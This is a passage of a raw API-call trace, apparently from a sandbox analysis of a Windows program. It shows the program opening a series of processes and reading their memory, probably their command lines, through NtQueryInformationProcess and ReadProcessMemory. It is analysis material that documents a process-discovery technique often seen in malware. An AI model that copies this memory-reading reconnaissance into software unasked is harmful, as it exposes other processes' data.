CloseHandle (hObject=0xa9c) returned 1 [0357.537] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0357.538] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0357.538] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.538] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.539] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0357.539] GetLastError () returned 0x0 [0357.539] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.539] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.540] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.540] malloc (_Size=0x64) returned 0xeb6770 [0357.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6770, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0357.541] free (_Block=0xeb6770) [0357.541] CloseHandle (hObject=0xa9c) returned 1 [0357.541] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0357.541] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0357.541] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.541] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0357.542] GetLastError () returned 0x0 [0357.542] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.542] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.542] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.543] malloc (_Size=0x5a) returned 0xeb6460 [0357.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb6460, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0357.544] free (_Block=0xeb6460) [0357.544] CloseHandle (hObject=0xa9c) returned 1 [0357.544] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0357.545] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0357.545] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.545] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.546] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0357.546] GetLastError () returned 0x0 [0357.546] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.546] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.546] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.547] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.547] malloc (_Size=0x16) returned 0xec9940 [0357.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec9940, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9940*, lpNumberOfBytesRead=0x0) returned 1 [0357.547] free (_Block=0xec9940) [0357.547] CloseHandle (hObject=0xa9c) returned 1 [0357.547] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0357.548] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0357.548] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.548] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.549] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0357.549] GetLastError () returned 0x0 [0357.549] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.549] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.549] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.549] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.549] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.549] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.550] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.550] malloc (_Size=0x7a) returned 0xe879d0 [0357.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe879d0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe879d0*, lpNumberOfBytesRead=0x0) returned 1 [0357.551] free (_Block=0xe879d0) [0357.551] CloseHandle (hObject=0xa9c) returned 1 [0357.551] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0357.551] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0357.552] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.552] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.553] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0357.553] GetLastError () returned 0x0 [0357.553] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.553] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.553] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.553] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.553] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.554] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.554] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.554] malloc (_Size=0x5e) returned 0xeb63f0 [0357.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb63f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0357.555] free (_Block=0xeb63f0) [0357.555] CloseHandle (hObject=0xa9c) returned 1 [0357.555] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0357.556] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0357.556] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.556] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.556] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0357.557] GetLastError () returned 0x0 [0357.557] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.557] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.557] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.558] malloc (_Size=0x8a) returned 0xec70c0 [0357.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec70c0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec70c0*, lpNumberOfBytesRead=0x0) returned 1 [0357.559] free (_Block=0xec70c0) [0357.559] CloseHandle (hObject=0xa9c) returned 1 [0357.559] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0357.559] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0357.559] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.559] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.560] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0357.560] GetLastError () returned 0x0 [0357.560] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.561] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.561] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.561] malloc (_Size=0x88) returned 0xe87940 [0357.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe87940, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87940*, lpNumberOfBytesRead=0x0) returned 1 [0357.562] free (_Block=0xe87940) [0357.562] CloseHandle (hObject=0xa9c) returned 1 [0357.563] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0357.563] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0357.563] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.563] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.564] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0357.564] GetLastError () returned 0x0 [0357.564] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.565] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.565] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.565] malloc (_Size=0x68) returned 0xeb6700 [0357.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6700, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0357.566] free (_Block=0xeb6700) [0357.566] CloseHandle (hObject=0xa9c) returned 1 [0357.567] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: 